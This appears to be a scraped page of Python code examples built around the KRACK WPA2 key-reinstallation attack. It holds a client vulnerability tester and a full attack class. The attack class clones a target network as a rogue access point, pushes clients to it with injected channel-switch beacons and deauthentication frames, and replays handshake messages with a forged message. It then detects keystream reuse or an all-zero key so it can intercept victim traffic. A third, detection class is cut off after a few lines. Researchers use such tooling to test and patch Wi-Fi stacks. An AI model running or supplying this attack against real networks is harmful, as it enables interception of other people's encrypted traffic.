class KRAckAttackClient():
    TPTK_NONE, TPTK_REPLAY, TPTK_RAND = range(3)

    def __init__(self):
        # Parse hostapd.conf
        self.script_path = os.path.dirname(os.path.realpath(__file__))
        try:
            interface = hostapd_read_config(
                os.path.join(self.script_path, "hostapd.conf"))
        except Exception as ex:
            log(ERROR, "Failed to parse the hostapd.conf config file")
            raise
        if not interface:
            log(
                ERROR,
                'Failed to determine wireless interface. Specify one in hostapd.conf at the line "interface=NAME".'
            )
            quit(1)

        # Set other variables
        self.nic_iface = interface
        self.nic_mon = interface + "mon"
        self.test_grouphs = False
        self.test_tptk = KRAckAttackClient.TPTK_NONE
        try:
            self.apmac = scapy.arch.get_if_hwaddr(interface)
        except:
            log(
                ERROR,
                'Failed to get MAC address of %s. Specify an existing interface in hostapd.conf at the line "interface=NAME".'
                % interface)
            raise

        self.sock_mon = None
        self.sock_eth = None
        self.hostapd = None
        self.hostapd_ctrl = None

        self.dhcp = None
        self.group_ip = None
        self.group_arp = None

        self.clients = dict()

    def reset_client_info(self, clientmac):
        if clientmac in self.dhcp.leases:
            self.dhcp.remove_client(clientmac)
            log(DEBUG, "%s: Removing client from DHCP leases" % clientmac)
        if clientmac in self.clients:
            del self.clients[clientmac]
            log(DEBUG, "%s: Removing ClientState object" % clientmac)

    def handle_replay(self, p):
        """Replayed frames (caused by a pairwise key reinstallation) are rejected by the kernel. This
		function processes these frames manually so we can still test reinstallations of the group key."""
        if not Dot11WEP in p: return

        # Reconstruct Ethernet header
        clientmac = p.addr2
        header = Ether(dst=self.apmac, src=clientmac)
        header.time = p.time

        # Decrypt the payload and obtain LLC/SNAP header and packet content
        client = self.clients[clientmac]
        plaintext = client.decrypt(p, self.hostapd_ctrl)
        llcsnap, packet = plaintext[:8], plaintext[8:]

        # Rebuild the full Ethernet packet
        if llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x06":
            decap = header / ARP(packet)
        elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x08\x00":
            decap = header / IP(packet)
        elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x86\xdd":
            decap = header / IPv6(packet)
        #elif llcsnap == "\xAA\xAA\x03\x00\x00\x00\x88\x8e":
        # 	# EAPOL
        else:
            return

        # Now process the packet as if it were a valid (non-replayed) one
        self.process_eth_rx(decap)

    def handle_mon_rx(self):
        p = self.sock_mon.recv()
        if p == None: return
        if p.type == 1: return

        # Note: we cannot verify that the NIC is indeed reusing IVs when sending the broadcast
        # ARP requests, because it may override them in the firmware/hardware (some Atheros
        # Wi-Fi NICs do no properly reset the Tx group key IV when using hardware encryption).

        # The first bit in FCfield is set if the frames is "to-DS"
        clientmac, apmac = (p.addr1,
                            p.addr2) if (p.FCfield & 2) != 0 else (p.addr2,
                                                                   p.addr1)
        if apmac != self.apmac: return None

        # Reset info about disconnected clients
        if Dot11Deauth in p or Dot11Disas in p:
            self.reset_client_info(clientmac)

        # Inspect encrypt frames for IV reuse & handle replayed frames rejected by the kernel
        elif p.addr1 == self.apmac and Dot11WEP in p:
            if not clientmac in self.clients:
                self.clients[clientmac] = ClientState(
                    clientmac,
                    test_group_hs=self.test_grouphs,
                    test_tptk=self.test_tptk)
            client = self.clients[clientmac]

            iv = dot11_get_iv(p)
            log(
                DEBUG, "%s: transmitted data using IV=%d (seq=%d)" %
                (clientmac, iv, dot11_get_seqnum(p)))

            if decrypt_ccmp(p, "\x00" *
                            16).startswith("\xAA\xAA\x03\x00\x00\x00"):
                client.mark_allzero_key(p)
            if not self.test_grouphs:
                client.check_pairwise_reinstall(p)
            if client.is_iv_reused(p):
                self.handle_replay(p)
            client.track_used_iv(p)

    def process_eth_rx(self, p):
        self.dhcp.reply(p)
        self.group_arp.reply(p)

        clientmac = p[Ether].src
        if not clientmac in self.clients: return
        client = self.clients[clientmac]

        if ARP in p and p[ARP].pdst == self.group_ip:
            client.groupkey_handle_canary(p)

    def handle_eth_rx(self):
        p = self.sock_eth.recv()
        if p == None or not Ether in p: return
        self.process_eth_rx(p)

    def configure_interfaces(self):
        log(
            STATUS,
            "Note: disable Wi-Fi in network manager & disable hardware encryption. Both may interfere with this script."
        )

        # 0. Some users may forget this otherwise
        subprocess.check_output(["rfkill", "unblock", "wifi"])

        # 1. Remove unused virtual interfaces to start from a clean state
        subprocess.call(["iw", self.nic_mon, "del"],
                        stdout=subprocess.PIPE,
                        stdin=subprocess.PIPE)

        # 2. Configure monitor mode on interfaces
        subprocess.check_output([
            "iw", self.nic_iface, "interface", "add", self.nic_mon, "type",
            "monitor"
        ])
        # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
        # sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface.
        subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
        time.sleep(0.5)
        subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"])
        subprocess.check_output(["ifconfig", self.nic_mon, "up"])

    def run(self, test_grouphs=False, test_tptk=False):
        self.configure_interfaces()

        # Open the patched hostapd instance that carries out tests and let it start
        log(STATUS, "Starting hostapd ...")
        try:
            self.hostapd = subprocess.Popen([
                os.path.join(self.script_path, "../hostapd/hostapd"),
                os.path.join(self.script_path, "hostapd.conf")
            ] + sys.argv[1:])
        except:
            if not os.path.exists("../hostapd/hostapd"):
                log(
                    ERROR,
                    "hostapd executable not found. Did you compile hostapd? Use --help param for more info."
                )
            raise
        time.sleep(1)

        try:
            self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_iface)
            self.hostapd_ctrl.attach()
        except:
            log(
                ERROR,
                "It seems hostapd did not start properly, please inspect its output."
            )
            log(
                ERROR,
                "Did you disable Wi-Fi in the network manager? Otherwise hostapd won't work."
            )
            raise

        self.sock_mon = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon)
        self.sock_eth = L2Socket(type=ETH_P_ALL, iface=self.nic_iface)

        # Let scapy handle DHCP requests
        self.dhcp = DHCP_sock(sock=self.sock_eth,
                              domain='krackattack.com',
                              pool=Net('192.168.100.0/24'),
                              network='192.168.100.0/24',
                              gw='192.168.100.254',
                              renewal_time=600,
                              lease_time=3600)
        # Configure gateway IP: reply to ARP and ping requests
        subprocess.check_output(
            ["ifconfig", self.nic_iface, "192.168.100.254"])

        # Use a dedicated IP address for our broadcast ARP requests and replies
        self.group_ip = self.dhcp.pool.pop()
        self.group_arp = ARP_sock(sock=self.sock_eth,
                                  IP_addr=self.group_ip,
                                  ARP_addr=self.apmac)

        # If applicable, inform hostapd that we are testing the group key handshake
        if test_grouphs:
            hostapd_command(self.hostapd_ctrl, "START_GROUP_TESTS")
            self.test_grouphs = True

        # If applicable, inform hostapd that we are testing for Temporal PTK (TPTK) construction behaviour
        self.test_tptk = test_tptk
        if self.test_tptk == KRAckAttackClient.TPTK_REPLAY:
            hostapd_command(self.hostapd_ctrl, "TEST_TPTK")
        elif self.test_tptk == KRAckAttackClient.TPTK_RAND:
            hostapd_command(self.hostapd_ctrl, "TEST_TPTK_RAND")

        log(STATUS,
            "Ready. Connect to this Access Point to start the tests. Make sure the client requests an IP using DHCP!",
            color="green")

        # Monitor both the normal interface and virtual monitor interface of the AP
        self.next_arp = time.time() + 1
        while True:
            sel = select.select([self.sock_mon, self.sock_eth], [], [], 1)
            if self.sock_mon in sel[0]: self.handle_mon_rx()
            if self.sock_eth in sel[0]: self.handle_eth_rx()

            # Periodically send the replayed broadcast ARP requests to test for group key reinstallations
            if time.time() > self.next_arp:
                self.next_arp = time.time() + HANDSHAKE_TRANSMIT_INTERVAL
                for client in self.clients.values():
                    # Also keep injecting to PATCHED clients (just to be sure they keep rejecting replayed frames)
                    if client.vuln_group != ClientState.VULNERABLE and client.mac in self.dhcp.leases:
                        clientip = self.dhcp.leases[client.mac]
                        client.groupkey_track_request()
                        log(
                            INFO, "%s: sending broadcast ARP to %s from %s" %
                            (client.mac, clientip, self.group_ip))

                        request = Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(
                            op=1,
                            hwsrc=self.apmac,
                            psrc=self.group_ip,
                            pdst=clientip)
                        self.sock_eth.send(request)

    def stop(self):
        log(STATUS, "Closing hostapd and cleaning up ...")
        if self.hostapd:
            self.hostapd.terminate()
            self.hostapd.wait()
        if self.sock_mon: self.sock_mon.close()
        if self.sock_eth: self.sock_eth.close()
Пример #2
0
class KRAckAttack():
	def __init__(self, nic_real, nic_rogue_ap, nic_rogue_mon, ssid, clientmac=None, dumpfile=None, cont_csa=False):
		self.nic_real = nic_real
		self.nic_real_clientack = None
		self.nic_rogue_ap = nic_rogue_ap
		self.nic_rogue_mon = nic_rogue_mon
		self.dumpfile = dumpfile
		self.ssid = ssid
		self.beacon = None
		self.apmac = None
		self.netconfig = None
		self.hostapd = None
		self.hostapd_log = None

		# This is set in case of targeted attacks
		self.clientmac = None if clientmac is None else clientmac.replace("-", ":").lower()

		self.sock_real  = None
		self.sock_rogue = None
		self.clients = dict()
		self.disas_queue = []
		self.continuous_csa = cont_csa

		# To monitor wether interfaces are (still) on the proper channels
		self.last_real_beacon = None
		self.last_rogue_beacon = None

		# To attack/test the group key handshake
		self.group1 = []
		self.time_forward_group1 = None

	def hostapd_rx_mgmt(self, p):
		log(DEBUG, "Sent frame to hostapd: %s" % dot11_to_str(p))
		self.hostapd_ctrl.request("RX_MGMT " + str(p[Dot11]).encode("hex"))

	def hostapd_add_sta(self, macaddr):
		log(DEBUG, "Forwarding auth to rouge AP to register client", showtime=False)
		self.hostapd_rx_mgmt(Dot11(addr1=self.apmac, addr2=macaddr, addr3=self.apmac)/Dot11Auth(seqnum=1))

	def hostapd_finish_4way(self, stamac):
		log(DEBUG, "Sent frame to hostapd: finishing 4-way handshake of %s" % stamac)
		self.hostapd_ctrl.request("FINISH_4WAY %s" % stamac)

	def find_beacon(self, ssid):
		log(STATUS, "Searching for target network: " + ssid + " using " + self.sock_real.iface)
		ps = sniff(count=1, timeout=600, lfilter=lambda p: Dot11Beacon in p and get_tlv_value(p, IEEE_TLV_TYPE_SSID) == ssid, iface=self.sock_real.iface)
		if ps is None or len(ps) < 1:
			log(STATUS, "Searching for target network on other channels: " + ssid + " using " + self.sock_real.iface)
			for chan in [1, 6, 11, 3, 8, 2, 7, 4, 10, 5, 9, 12, 13]:
				self.sock_real.set_channel(chan)
				log(DEBUG, "Listening on channel %d" % chan)
				ps = sniff(count=1, timeout=20, lfilter=lambda p: Dot11Beacon in p and get_tlv_value(p, IEEE_TLV_TYPE_SSID) == ssid, opened_socket=self.sock_real)
				if ps and len(ps) >= 1: break

		if ps and len(ps) >= 1:
			actual_chan = ord(get_tlv_value(ps[0], IEEE_TLV_TYPE_CHANNEL))
			self.sock_real.set_channel(actual_chan)
			self.beacon = ps[0]
			self.apmac = self.beacon.addr2

	def send_csa_beacon(self, numbeacons=1, target=None, silent=False):
		newchannel = self.netconfig.rogue_channel
		beacon = self.beacon.copy()
		if target: beacon.addr1 = target

		for i in range(numbeacons):
			# Note: Intel firmware requires first receiving a CSA beacon with a count of 2 or higher,
			# followed by one with a value of 1. When starting with 1 it errors out.
			csabeacon = append_csa(beacon, newchannel, 2)
			self.sock_real.send(csabeacon)

			csabeacon = append_csa(beacon, newchannel, 1)
			self.sock_real.send(csabeacon)

		if not silent: log(STATUS, "Injected %d CSA beacon pairs (moving stations to channel %d)" % (numbeacons, newchannel), color="green")

	def send_disas(self, macaddr):
		p = Dot11(addr1=macaddr, addr2=self.apmac, addr3=self.apmac)/Dot11Disas(reason=0)
		self.sock_rogue.send(p)
		log(STATUS, "Rogue channel: injected Disassociation to %s" % macaddr, color="green")

	def queue_disas(self, macaddr):
		if macaddr in [macaddr for shedtime, macaddr in self.disas_queue]: return
		heapq.heappush(self.disas_queue, (time.time() + 0.5, macaddr))

	def try_channel_switch(self, macaddr):
		self.send_csa_beacon()
		self.queue_disas(macaddr)

	def hostapd_add_allzero_client(self, client):
		if client.assocreq is None:
			log(ERROR, "Didn't receive AssocReq of client %s, unable to let rogue hostapd handle client." % client.macaddr)
			return False

		# 1. Add the client to hostapd
		self.hostapd_add_sta(client.macaddr)

		# 2. Inform hostapd of the encryption algorithm and options the client uses
		self.hostapd_rx_mgmt(client.assocreq)

		# 3. Send the EAPOL msg4 to trigger installation of all-zero key by the modified hostapd
		self.hostapd_finish_4way(client.macaddr)

		return True

	def handle_to_client_pairwise(self, client, p):
		if args.group: return False

		eapolnum = get_eapol_msgnum(p)
		if eapolnum == 1 and client.state in [ClientState.Connecting, ClientState.GotMitm]:
			log(DEBUG, "Storing msg1")
			client.store_msg1(p)
		elif eapolnum == 3 and client.state in [ClientState.Connecting, ClientState.GotMitm]:
			client.add_if_new_msg3(p)
			# FIXME: This may cause a timeout on the client side???
			if len(client.msg3s) >= 2:
				log(STATUS, "Got 2nd unique EAPOL msg3. Will forward both these Msg3's seperated by a forged msg1.", color="green", showtime=False)
				log(STATUS, "==> Performing key reinstallation attack!", color="green", showtime=False)

				# FIXME: Warning if msg1 was not detected. Or generate it ourselves.
				packet_list = client.msg3s
				p = set_eapol_replaynum(client.msg1, get_eapol_replaynum(packet_list[0]) + 1)
				packet_list.insert(1, p)

				for p in packet_list: self.sock_rogue.send(p)
				client.msg3s = []

				# TODO: Should extra stuff be done here? Forward msg4 to real AP?
				client.attack_start()
			else:
				log(STATUS, "Not forwarding EAPOL msg3 (%d unique now queued)" % len(client.msg3s), color="green", showtime=False)

			return True

		return False

	def handle_from_client_pairwise(self, client, p):
		if args.group: return

		# Note that scapy incorrectly puts Extended IV into wepdata field, so skip those four bytes				
		plaintext = "\xaa\xaa\x03\x00\x00\x00"
		encrypted = p[Dot11WEP].wepdata[4:4+len(plaintext)]
		keystream = xorstr(plaintext, encrypted)

		iv = dot11_get_iv(p)
		if iv <= 1: log(DEBUG, "Ciphertext: " + encrypted.encode("hex"), showtime=False)

		# FIXME:
		# - The reused IV could be one we accidently missed due to high traffic!!!
		# - It could be a retransmitted packet
		if client.is_iv_reused(iv):
			# If the same keystream is reused, we have a normal key reinstallation attack
			if keystream == client.get_keystream(iv):
				log(STATUS, "SUCCESS! Nonce and keystream reuse detected (IV=%d)." % iv, color="green", showtime=False)
				client.update_state(ClientState.Success_Reinstalled)

				# TODO: Confirm that the handshake now indeed completes. FIXME: Only if we have a msg4?
				self.sock_real.send(client.msg4)

			# Otherwise the client likely installed a new key, i.e., probably an all-zero key
			else:
				# TODO: We can explicitly try to decrypt it using an all-zero key
				log(STATUS, "SUCCESS! Nonce reuse detected (IV=%d), with usage of all-zero encryption key." % iv, color="green", showtime=False)
				log(STATUS, "Now MitM'ing the victim using our malicious AP, and interceptig its traffic.", color="green", showtime=False)

				self.hostapd_add_allzero_client(client)

				# The client is now no longer MitM'ed by this script (i.e. no frames forwarded between channels)
				client.update_state(ClientState.Success_AllzeroKey)

		elif client.attack_timeout(iv):
			log(WARNING, "KRAck Attack against %s seems to have failed" % client.macaddr)
			client.update_state(ClientState.Failed)

		client.save_iv_keystream(iv, keystream)

	def handle_to_client_groupkey(self, client, p):
		if not args.group: return False

		# Does this look like a group key handshake frame -- FIXME do not hardcode the TID
		if Dot11WEP in p and p.addr2 == self.apmac and p.addr3 == self.apmac and dot11_get_tid(p) == 7:
			# TODO: Detect that it's not a retransmission
			self.group1.append(p)
			log(STATUS, "Queued %s group message 1's" % len(self.group1), showtime=False)
			if len(self.group1) == 2:
				log(STATUS, "Forwarding first group1 message", showtime=False)
				self.sock_rogue.send(self.group1.pop(0))

				self.time_forward_group1 = time.time() + 3

			return True
		return False

	def handle_from_client_groupkey(self, client, p):
		if not args.group: return
	
		# Does this look like a group key handshake frame -- FIXME do not hardcode the TID
		if Dot11WEP in p and p.addr1 == self.apmac and p.addr3 == self.apmac and dot11_get_tid(p) == 7:
			log(STATUS, "Got a likely group message 2", showtime=False)

	def receive_packet(self, pkt):
		if pkt.sniffed_on == self.sock_real.iface:
			self.handle_rx_realchan2(pkt)
		if pkt.sniffed_on == self.nic_rogue_mon:
			self.handle_rx_roguechan2(pkt)
	
	def handle_rx_realchan(self):
		p = self.sock_real.recv()
		if p == None: return
		self.handle_rx_realchan2(p)

	def handle_rx_realchan2(self, p):
		# 1. Handle frames sent TO the real AP
		if p.addr1 == self.apmac:
			# If it's an authentication to the real AP, always display it ...
			if Dot11Auth in p:
				print_rx(INFO, "Real channel ", p, color="orange")

				# ... with an extra clear warning when we wanted to MitM this specific client
				if self.clientmac == p.addr2:
					log(WARNING, "Client %s is connecting on real channel, injecting CSA beacon to try to correct." % self.clientmac)

				if p.addr2 in self.clients: del self.clients[p.addr2]
				# Send one targeted beacon pair (should be retransmitted in case of failure), and one normal broadcast pair
				self.send_csa_beacon(target=p.addr2)
				self.send_csa_beacon()
				self.clients[p.addr2] = ClientState(p.addr2)
				self.clients[p.addr2].update_state(ClientState.Connecting)

			# Remember association request to save connection parameters
			elif Dot11AssoReq in p:
				if p.addr2 in self.clients: self.clients[p.addr2].assocreq = p

			# Clients sending a deauthentication or disassociation to the real AP are also interesting ...
			#elif Dot11Deauth in p or Dot11Disas in p:
			#	print_rx(INFO, "Real channel ", p)
			#	if p.addr2 in self.clients: del self.clients[p.addr2]

			# Display all frames sent from a MitM'ed client
			elif p.addr2 in self.clients:
				print_rx(INFO, "Real channel from MitM-ed client", p)

			# For all other frames, only display them if they come from the targeted client
			elif self.clientmac is not None and self.clientmac == p.addr2:
				print_rx(INFO, "Real channel from victim", p)


			# Prevent the AP from thinking clients that are connecting are sleeping, until attack completed or failed
			if p.FCfield & 0x10 != 0 and p.addr2 in self.clients and self.clients[p.addr2].state <= ClientState.Attack_Started:
				log(WARNING, "Injecting Null frame so AP thinks client %s is awake (attacking sleeping clients is not fully supported)" % p.addr2)
				sendp(Dot11(type=2, subtype=4, addr1=self.apmac, addr2=p.addr2, addr3=self.apmac), iface=self.sock_real.iface)


		# 2. Handle frames sent BY the real AP
		elif p.addr2 == self.apmac:
			# Track time of last beacon we received. Verify channel to assure it's not the rogue AP.
			if Dot11Beacon in p and ord(get_tlv_value(p, IEEE_TLV_TYPE_CHANNEL)) == self.netconfig.real_channel:
				self.last_real_beacon = time.time()

			# Decide whether we will (eventually) forward it
			might_forward = p.addr1 in self.clients and self.clients[p.addr1].should_forward(p)
			might_forward = might_forward or (args.group and dot11_is_group(p) and Dot11WEP in p)

			# Pay special attention to Deauth and Disassoc frames
			if Dot11Deauth in p or Dot11Disas in p:
				print_rx(INFO, "Real channel MitM", p, suffix=" -- MitM'ing" if might_forward else None)
			# If targeting a specific client, display all frames it sends
			elif self.clientmac is not None and self.clientmac == p.addr1:
				print_rx(INFO, "Real channel MitM", p, suffix=" -- MitM'ing" if might_forward else None)
			# For other clients, just display what might be forwarded
			elif might_forward:
				print_rx(INFO, "Real channel MitM", p, suffix=" -- MitM'ing")

			# Now perform actual actions that need to be taken, along with additional output
			if might_forward:
				print "Forwarded some packets"
				# Unicast frames to clients
				if p.addr1 in self.clients:
					client = self.clients[p.addr1]

					# Note: could be that client only switching to rogue channel before receiving Msg3 and sending Msg4
					if self.handle_to_client_pairwise(client, p):
						pass

					elif self.handle_to_client_groupkey(client, p):
						pass

					elif Dot11Deauth in p:
						del self.clients[p.addr1]
						sendp(p, iface=self.sock_rogue.iface)

					else:
						sendp(p, iface=self.sock_rogue.iface)

				# Group addressed frames
				else:
					sendp(p, iface=self.sock_rogue.iface)

		# 3. Always display all frames sent by or to the targeted client
		elif p.addr1 == self.clientmac or p.addr2 == self.clientmac:
			print_rx(INFO, "Real channel ", p)
	
	def handle_rx_roguechan(self):
		p = self.sock_rogue.recv()
		if p == None: 
			return
		self.handle_rx_roguechan2(p)

	def handle_rx_roguechan2(self, p):
		# 1. Handle frames sent BY the rouge AP
		if p.addr2 == self.apmac:
			# Track time of last beacon we received. Verify channel to assure it's not the real AP.
			if Dot11Beacon in p and ord(get_tlv_value(p, IEEE_TLV_TYPE_CHANNEL)) == self.netconfig.rogue_channel:
				print "Comparing original vs fake beacon"
				self.last_rogue_beacon = time.time()
			# Display all frames sent to the targeted client
			if self.clientmac is not None and p.addr1 == self.clientmac:
				print_rx(INFO, "Rogue channel to victim", p)
			# And display all frames sent to a MitM'ed client
			elif p.addr1 in self.clients:
				print_rx(INFO, "Rogue channel", p)

		# 2. Handle frames sent TO the AP
		elif p.addr1 == self.apmac:
			client = None

			# Check if it's a new client that we can MitM
			if Dot11Auth in p:
				print_rx(INFO, "Rogue channel MitM-new", p, suffix=" -- MitM'ing")
				self.clients[p.addr2] = ClientState(p.addr2)
				self.clients[p.addr2].mark_got_mitm()
				client = self.clients[p.addr2]
				will_forward = True
			# Otherwise check of it's an existing client we are tracking/MitM'ing
			elif p.addr2 in self.clients:
				client = self.clients[p.addr2]
				will_forward = client.should_forward(p)
				print_rx(INFO, "Rogue channel MitM", p, suffix=" -- MitM'ing" if will_forward else None)
			# Always display all frames sent by the targeted client
			elif p.addr2 == self.clientmac:
				print_rx(INFO, "Rogue channel", p)

			# If this now belongs to a client we want to track, process the packet further
			if client is not None:
				# Save the association request so we can track the encryption algorithm and options the client uses
				if Dot11AssoReq in p: client.assocreq = p
				# Save msg4 so we can complete the handshake once we attempted a key reinstallation attack
				if get_eapol_msgnum(p) == 4: client.msg4 = p

				# Client is sending on rogue channel, we got a MitM position =)
				client.mark_got_mitm()

				if Dot11WEP in p:
					# Use encrypted frames to determine if the key reinstallation attack succeeded
					self.handle_from_client_pairwise(client, p)
					self.handle_from_client_groupkey(client, p)

				if will_forward:
					# Don't mark client as sleeping when we haven't got two Msg3's and performed the attack
					if client.state < ClientState.Attack_Started:
						p.FCfield &= 0xFFEF

					self.sock_real.send(p)


		# 3. Always display all frames sent by or to the targeted client
		elif p.addr1 == self.clientmac or p.addr2 == self.clientmac:
			print_rx(INFO, "Rogue channel", p)

	def handle_hostapd_out(self):
		# hostapd always prints lines so this should not block
		line = self.hostapd.stdout.readline()
		if line == "":
			log(ERROR, "Rogue hostapd instances unexpectedly closed")
			quit(1)

		if line.startswith(">>>> "):
			log(STATUS, "Rogue hostapd: " + line[5:].strip())
		elif line.startswith(">>> "):
			log(DEBUG, "Rogue hostapd: " + line[4:].strip())
		# This is a bit hacky but very usefull for quick debugging
		elif "fc=0xc0" in line:
			log(WARNING, "Rogue hostapd: " + line.strip())
		elif "sta_remove" in line or "Add STA" in line or "disassoc cb" in line or "disassocation: STA" in line:
			log(DEBUG, "Rogue hostapd: " + line.strip())
		else:
			log(ALL, "Rogue hostapd: " + line.strip())

		self.hostapd_log.write(datetime.now().strftime('[%H:%M:%S] ') + line)

	def configure_interfaces(self):
		# 0. Warn about common mistakes
		log(STATUS, "Note: remember to disable Wi-Fi in your network manager so it doesn't interfere with this script")
		# This happens when targetting a specific client: both interfaces will ACK frames from each other due to the capture
		# effect, meaning certain frames will not reach the rogue AP or the client. As a result, the client will disconnect.
		log(STATUS, "Note: keep >1 meter between both interfaces. Else packet delivery is unreliable & target may disconnect")

		# 1. Remove unused virtual interfaces
		subprocess.call(["iw", self.nic_real + "sta1", "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)
		if self.nic_rogue_mon is None:
			subprocess.call(["iw", self.nic_rogue_ap + "mon", "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE)

		# 2. Configure monitor mode on interfaces
		subprocess.check_output(["ifconfig", self.nic_real, "down"])
		subprocess.check_output(["iw", self.nic_real, "set", "type", "monitor"])
		if self.nic_rogue_mon is None:
			self.nic_rogue_mon = "fakeapmon"#self.nic_rogue_ap + "mon"
			subprocess.check_output(["iw", self.nic_rogue_ap, "interface", "add", self.nic_rogue_mon, "type", "monitor"])
			# Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly
			# sequence of commands to assure the virtual interface is registered as a 802.11 monitor interface.
			subprocess.check_output(["ifconfig", self.nic_rogue_mon, "up"])
			time.sleep(0.2)
			subprocess.check_output(["ifconfig", self.nic_rogue_mon, "down"])
			subprocess.check_output(["iw", self.nic_rogue_mon, "set", "type", "monitor"])
			subprocess.check_output(["ifconfig", self.nic_rogue_mon, "up"])


		# 3. Configure interface on real channel to ACK frames
		if self.clientmac:
				self.nic_real_clientack = self.nic_real + "sta1"
				subprocess.check_output(["iw", self.nic_real, "interface", "add", self.nic_real_clientack, "type", "managed"])
				call_macchanger(self.nic_real_clientack, self.clientmac)
		else:
			# Note: some APs require handshake messages to be ACKed before proceeding (e.g. Broadcom waits for ACK on Msg1)
			log(WARNING, "WARNING: Targeting ALL clients is not fully supported! Please provide a specific target using --target.")
			# Sleep for a second to make this warning very explicit
			time.sleep(1)

		# 4. Finally put the interfaces up
		subprocess.check_output(["ifconfig", self.nic_real, "up"])
		subprocess.check_output(["ifconfig", self.nic_rogue_mon, "up"])

	def run(self, strict_echo_test=False):
		#self.configure_interfaces()
		#Override configuration
		self.nic_rogue_mon = "wlx503eaa526d33"
		self.nic_real_clientack = "wlp4s0"
		self.nic_rogue_ap = "wlx503eaa527cb7"
		
		# Make sure to use a recent backports driver package so we can indeed
		# capture and inject packets in monitor mode.
		self.sock_real  = MitmSocket(type=ETH_P_ALL, iface=self.nic_real     , dumpfile=self.dumpfile, strict_echo_test=strict_echo_test)
		self.sock_rogue = MitmSocket(type=ETH_P_ALL, iface=self.nic_rogue_mon, dumpfile=self.dumpfile, strict_echo_test=strict_echo_test)

		# Test monitor mode and get MAC address of the network
		self.find_beacon(self.ssid)
		if self.beacon is None:
			log(ERROR, "No beacon received of network <%s>. Is monitor mode working? Did you enter the correct SSID?" % self.ssid)
			return
		# Parse beacon and used this to generate a cloned hostapd.conf
		self.netconfig = NetworkConfig()
		self.netconfig.from_beacon(self.beacon)
		if not self.netconfig.is_wparsn():
			log(ERROR, "Target network is not an encrypted WPA or WPA2 network, exiting.")
			return
		elif self.netconfig.real_channel > 13:
			log(WARNING, "Attack not yet tested against 5 GHz networks.")
		self.netconfig.find_rogue_channel()

		log(STATUS, "Target network %s detected on channel %d" % (self.apmac, self.netconfig.real_channel), color="green")
		log(STATUS, "Will create rogue AP on channel %d" % self.netconfig.rogue_channel, color="green")

		# Set the MAC address of the rogue hostapd AP
		log(STATUS, "Setting MAC address of %s to %s" % (self.nic_rogue_ap, self.apmac))
		set_mac_address(self.nic_rogue_ap, self.apmac)

		# Put the client ACK interface up (at this point switching channels on nic_real may no longer be possible)
		if self.nic_real_clientack: subprocess.check_output(["ifconfig", self.nic_real_clientack, "up"])

		# Set BFP filters to increase performance
		bpf = "(wlan addr1 {apmac}) or (wlan addr2 {apmac})".format(apmac=self.apmac)
		if self.clientmac:
			bpf += " or (wlan addr1 {clientmac}) or (wlan addr2 {clientmac})".format(clientmac=self.clientmac)
		bpf = "(wlan type data or wlan type mgt) and (%s)" % bpf
		#self.sock_real.attach_filter(bpf)
		#self.sock_rogue.attach_filter(bpf)

		# Set up a rouge AP that clones the target network (don't use tempfile - it can be useful to manually use the generated config)
		with open("hostapd_rogue.conf", "w") as fp:
			fp.write(self.netconfig.write_config(self.nic_rogue_ap))
		self.hostapd = subprocess.Popen(["../hostapd/hostapd", "hostapd_rogue.conf", "-dd", "-K"], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
		self.hostapd_log = open("hostapd_rogue.log", "w")

		log(STATUS, "Giving the rogue hostapd one second to initialize ...")
		time.sleep(1)

		self.hostapd_ctrl = Ctrl("hostapd_ctrl/" + self.nic_rogue_ap)
		self.hostapd_ctrl.attach()

		# Inject some CSA beacons to push victims to our channel
		self.send_csa_beacon(numbeacons=4)

		# Try to deauthenticated all clients
		deauth = Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=self.apmac, addr3=self.apmac)/Dot11Deauth(reason=3)
		self.sock_real.send(deauth)

		# For good measure, also queue a dissasociation to the targeted client on the rogue channel
		if self.clientmac:
			self.queue_disas(self.clientmac)

		# Continue attack by monitoring both channels and performing needed actions
		self.last_real_beacon = time.time()
		self.last_rogue_beacon = time.time()
		nextbeacon = time.time() + 0.01
		
		#View settings
		print "sock_rogue : " + self.sock_rogue.iface
		print "sock_real  : " + self.sock_real.iface
		sniff(iface=[self.sock_rogue.iface, self.sock_real.iface], prn=self.receive_packet)
		
		while True:
			sel = select.select([self.sock_rogue, self.sock_real, self.hostapd.stdout], [], [], 0.1)
			if self.sock_real      in sel[0]: 
				self.handle_rx_realchan()
				#print "Selected fake client -> real AP"
			if self.sock_rogue     in sel[0]: 
				self.handle_rx_roguechan()
				print "Selected real client -> fake AP"
			if self.hostapd.stdout in sel[0]: 
				self.handle_hostapd_out()
				#print "Selected hostapd socket"

			if self.time_forward_group1 and self.time_forward_group1 <= time.time():
				p = self.group1.pop(0)
				self.sock_rogue.send(p)
				self.time_forward_group1 = None
				log(STATUS, "Injected older group message 1: %s" % dot11_to_str(p), color="green")

			while len(self.disas_queue) > 0 and self.disas_queue[0][0] <= time.time():
				self.send_disas(self.disas_queue.pop()[1])

			if self.continuous_csa and nextbeacon <= time.time():
				self.send_csa_beacon(silent=True)
				nextbeacon += 0.10

			if self.last_real_beacon + 2 < time.time():
				log(WARNING, "WARNING: Didn't receive beacon from real AP for two seconds")
				self.last_real_beacon = time.time()
			if self.last_rogue_beacon + 2 < time.time():
				log(WARNING, "WARNING: Didn't receive beacon from rogue AP for two seconds")
				self.last_rogue_beacon = time.time()


	def stop(self):
		log(STATUS, "Closing hostapd and cleaning up ...")
		if self.hostapd:
			self.hostapd.terminate()
			self.hostapd.wait()
		if self.hostapd_log:
			self.hostapd_log.close()
		if self.sock_real: self.sock_real.close()
		if self.sock_rogue: self.sock_rogue.close()
Пример #3
0
class DetectKRACK():
    def __init__(self):
        self.script_path = os.path.dirname(os.path.realpath(__file__))
        interface = "wlo1"  # Enter wifi interface here
